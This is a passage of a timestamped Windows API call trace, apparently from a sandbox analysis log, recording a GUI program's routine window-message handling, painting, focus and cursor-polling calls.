[0270.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x29, lParam=0x18e394) returned 0x28 [0270.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x52, lParam=0x18e368) returned 0x28 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0270.370] InvalidateRect (hWnd=0x10352, lpRect=0x0, bErase=0) returned 1 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xd, wParam=0x1f, lParam=0x2c80020) returned 0x1e [0270.370] GetSystemMenu (hWnd=0xc0060, bRevert=0) returned 0x70217 [0270.370] EnableMenuItem (hMenu=0x70217, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xd, wParam=0x8, lParam=0x2c8ce50) returned 0x7 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x2c8ce50) returned 0x7 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xd, wParam=0x7, lParam=0x2c8ce50) returned 0x6 [0270.370] SetFocus (hWnd=0x1035c) returned 0x10340 [0270.370] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x1035c, lParam=0x0) returned 0x0 [0270.371] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0270.371] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0270.371] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] SendMessageA (hWnd=0x1035a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] SendMessageA (hWnd=0x1035c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.371] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0270.371] SendMessageA (hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0270.371] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0270.372] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f68c | out: lpRect=0x18f68c) returned 1 [0270.372] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0270.372] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0270.372] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0270.372] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0270.372] IsIconic (hWnd=0xc0060) returned 0 [0270.372] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f674 | out: lpRect=0x18f674) returned 1 [0270.372] IsIconic (hWnd=0xc0060) returned 0 [0270.372] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f674 | out: lpRect=0x18f674) returned 1 [0270.372] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0270.372] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0270.372] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0270.372] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x1 [0270.372] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0270.372] GetSysColor (nIndex=8) returned 0x0 [0270.372] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0270.372] GetSysColor (nIndex=5) returned 0xffffff [0270.372] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0270.373] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f30c | out: lpdwProcessId=0x18f30c) returned 0x8cc [0270.373] GetCurrentProcessId () returned 0x8d0 [0270.373] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0270.373] GetFocus () returned 0x1035c [0270.373] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0270.373] GetKeyState (nVirtKey=18) returned 1 [0270.373] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.373] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.373] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=830, y=592)) returned 1 [0270.373] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.373] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.373] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.373] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.373] GetCapture () returned 0x0 [0270.373] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0270.373] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.373] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.374] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0270.374] GetCurrentProcessId () returned 0x8d0 [0270.374] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.374] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40020) returned 0x0 [0270.374] GetKeyState (nVirtKey=18) returned 1 [0270.374] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.374] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.374] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.374] SendMessageA (hWnd=0x10354, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10354) returned 0x2f100178 [0270.374] GetSysColor (nIndex=8) returned 0x0 [0270.374] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.374] GetSysColor (nIndex=5) returned 0xffffff [0270.374] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x9, lParam=0x18e9b4) returned 0x8 [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0270.374] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x9, lParam=0x18e8e4) returned 0x8 [0270.375] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e8b8) returned 0x8 [0270.375] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.375] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.375] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.375] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.375] SendMessageA (hWnd=0x10352, Msg=0xbd38, wParam=0x1f01019b, lParam=0x10352) returned 0x2f100178 [0270.375] GetSysColor (nIndex=8) returned 0x0 [0270.375] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0270.375] GetSysColor (nIndex=5) returned 0xffffff [0270.375] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0270.375] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0270.375] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x29, lParam=0x18e9b4) returned 0x28 [0270.375] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0270.376] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x29, lParam=0x18e8e4) returned 0x28 [0270.376] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x52, lParam=0x18e8b8) returned 0x28 [0270.376] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.376] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.376] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.376] BeginPaint (in: hWnd=0x1035a, lpPaint=0x18fc78 | out: lpPaint=0x18fc78) returned 0x1b0106ca [0270.376] MoveToEx (in: hdc=0x1b0106ca, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0270.376] GetCurrentPositionEx (in: hdc=0x1b0106ca, lppt=0x18fc3c | out: lppt=0x18fc3c) returned 1 [0270.376] EndPaint (hWnd=0x1035a, lpPaint=0x18fc78) returned 1 [0270.376] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.377] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.377] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.377] SendMessageA (hWnd=0x10360, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10360) returned 0xe100186 [0270.377] GetSysColor (nIndex=8) returned 0x0 [0270.377] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.377] GetSysColor (nIndex=15) returned 0xf0f0f0 [0270.377] SetBkColor (hdc=0x2a010b57, color=0xf0f0f0) returned 0xffffff [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x57 [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xd, wParam=0x58, lParam=0x18e9b4) returned 0x57 [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x57 [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xd, wParam=0x58, lParam=0x18e8e4) returned 0x57 [0270.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10360, Msg=0xd, wParam=0xb0, lParam=0x18e8b8) returned 0x57 [0270.378] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.378] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.379] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.379] SendMessageA (hWnd=0x1035e, Msg=0xbd38, wParam=0x1f01019b, lParam=0x1035e) returned 0xe100186 [0270.379] GetSysColor (nIndex=8) returned 0x0 [0270.379] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0270.379] GetSysColor (nIndex=15) returned 0xf0f0f0 [0270.379] SetBkColor (hdc=0x1f01019b, color=0xf0f0f0) returned 0xffffff [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xa [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xd, wParam=0xb, lParam=0x18e9b4) returned 0xa [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xa [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xd, wParam=0xb, lParam=0x18e8e4) returned 0xa [0270.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1035e, Msg=0xd, wParam=0x16, lParam=0x18e8b8) returned 0xa [0270.380] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.380] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.380] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0270.380] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0270.380] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0270.380] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0270.380] GetSysColor (nIndex=8) returned 0x0 [0270.380] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.380] GetSysColor (nIndex=5) returned 0xffffff [0270.380] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0270.382] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0270.382] FillRect (hDC=0x5010b6a, lprc=0x18f41c, hbr=0xe100186) returned 1 [0270.382] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x5010b6a, lParam=0x4) returned 0x0 [0270.382] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0270.382] FillRect (hDC=0x2e01018c, lprc=0x18f41c, hbr=0xe100186) returned 1 [0270.382] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x2e01018c, lParam=0x4) returned 0x0 [0270.383] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f8b4 | out: lpRect=0x18f8b4) returned 1 [0270.383] FillRect (hDC=0x2a010b57, lprc=0x18f8b4, hbr=0x2f100178) returned 1 [0270.383] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x7010b6c, lParam=0x1035c) returned 0x2f100178 [0270.383] GetSysColor (nIndex=8) returned 0x0 [0270.383] SetTextColor (hdc=0x7010b6c, color=0x0) returned 0x0 [0270.383] GetSysColor (nIndex=5) returned 0xffffff [0270.383] SetBkColor (hdc=0x7010b6c, color=0xffffff) returned 0xffffff [0270.384] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.384] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.384] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.384] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.384] IsIconic (hWnd=0xc0060) returned 0 [0270.384] IsIconic (hWnd=0xc0060) returned 0 [0270.384] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0270.384] FillRect (hDC=0x3c01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0270.384] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3c01069e, lParam=0x4) returned 0x0 [0270.384] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3c01069e, lParam=0x10340) returned 0xe100186 [0270.385] GetSysColor (nIndex=8) returned 0x0 [0270.385] SetTextColor (hdc=0x3c01069e, color=0x0) returned 0x0 [0270.385] GetSysColor (nIndex=15) returned 0xf0f0f0 [0270.385] SetBkColor (hdc=0x3c01069e, color=0xf0f0f0) returned 0xffffff [0270.385] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0270.385] GetCurrentProcessId () returned 0x8d0 [0270.385] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0270.385] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0270.385] GetCurrentProcessId () returned 0x8d0 [0270.385] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0270.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0270.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0270.385] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0270.386] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.386] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.386] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0270.386] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.386] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.386] WindowFromPoint (Point=0x33f) returned 0x10340 [0270.386] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x252033f) returned 0x1 [0270.386] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.386] GetCurrentProcessId () returned 0x8d0 [0270.386] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.386] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.386] GetCapture () returned 0x0 [0270.386] WaitMessage () returned 1 [0270.442] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.442] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.442] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.443] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0270.443] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x10040b91, lParam=0x0) returned 0x1 [0270.444] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0270.444] GetSysColor (nIndex=8) returned 0x0 [0270.444] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0270.444] GetSysColor (nIndex=5) returned 0xffffff [0270.444] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0270.445] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.445] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.445] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.445] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.445] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.445] GetCurrentProcessId () returned 0x8d0 [0270.445] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.445] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.445] GetCapture () returned 0x0 [0270.445] WaitMessage () returned 1 [0270.509] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.509] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.509] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.509] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0270.509] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0xa040b94, lParam=0x0) returned 0x1 [0270.509] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0270.510] GetSysColor (nIndex=8) returned 0x0 [0270.510] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0270.510] GetSysColor (nIndex=5) returned 0xffffff [0270.510] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0270.510] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.510] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.510] WindowFromPoint (Point=0x341) returned 0x10340 [0270.511] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510341) returned 0x1 [0270.511] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.511] GetCurrentProcessId () returned 0x8d0 [0270.511] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.511] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.511] GetCapture () returned 0x0 [0270.511] WaitMessage () returned 1 [0270.567] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.567] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.567] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.567] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0270.567] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x2f040b9c, lParam=0x0) returned 0x1 [0270.567] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0270.567] GetSysColor (nIndex=8) returned 0x0 [0270.567] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0270.567] GetSysColor (nIndex=5) returned 0xffffff [0270.567] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0270.568] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.568] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.568] WindowFromPoint (Point=0x343) returned 0x10340 [0270.568] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f0343) returned 0x1 [0270.568] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.568] GetCurrentProcessId () returned 0x8d0 [0270.568] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.568] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.569] GetCapture () returned 0x0 [0270.569] WaitMessage () returned 1 [0270.676] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.677] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.677] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.677] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.677] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.677] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.677] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.677] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.677] GetCurrentProcessId () returned 0x8d0 [0270.677] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.677] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.677] GetCapture () returned 0x0 [0270.677] WaitMessage () returned 1 [0270.896] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.896] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.896] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.896] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.896] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, 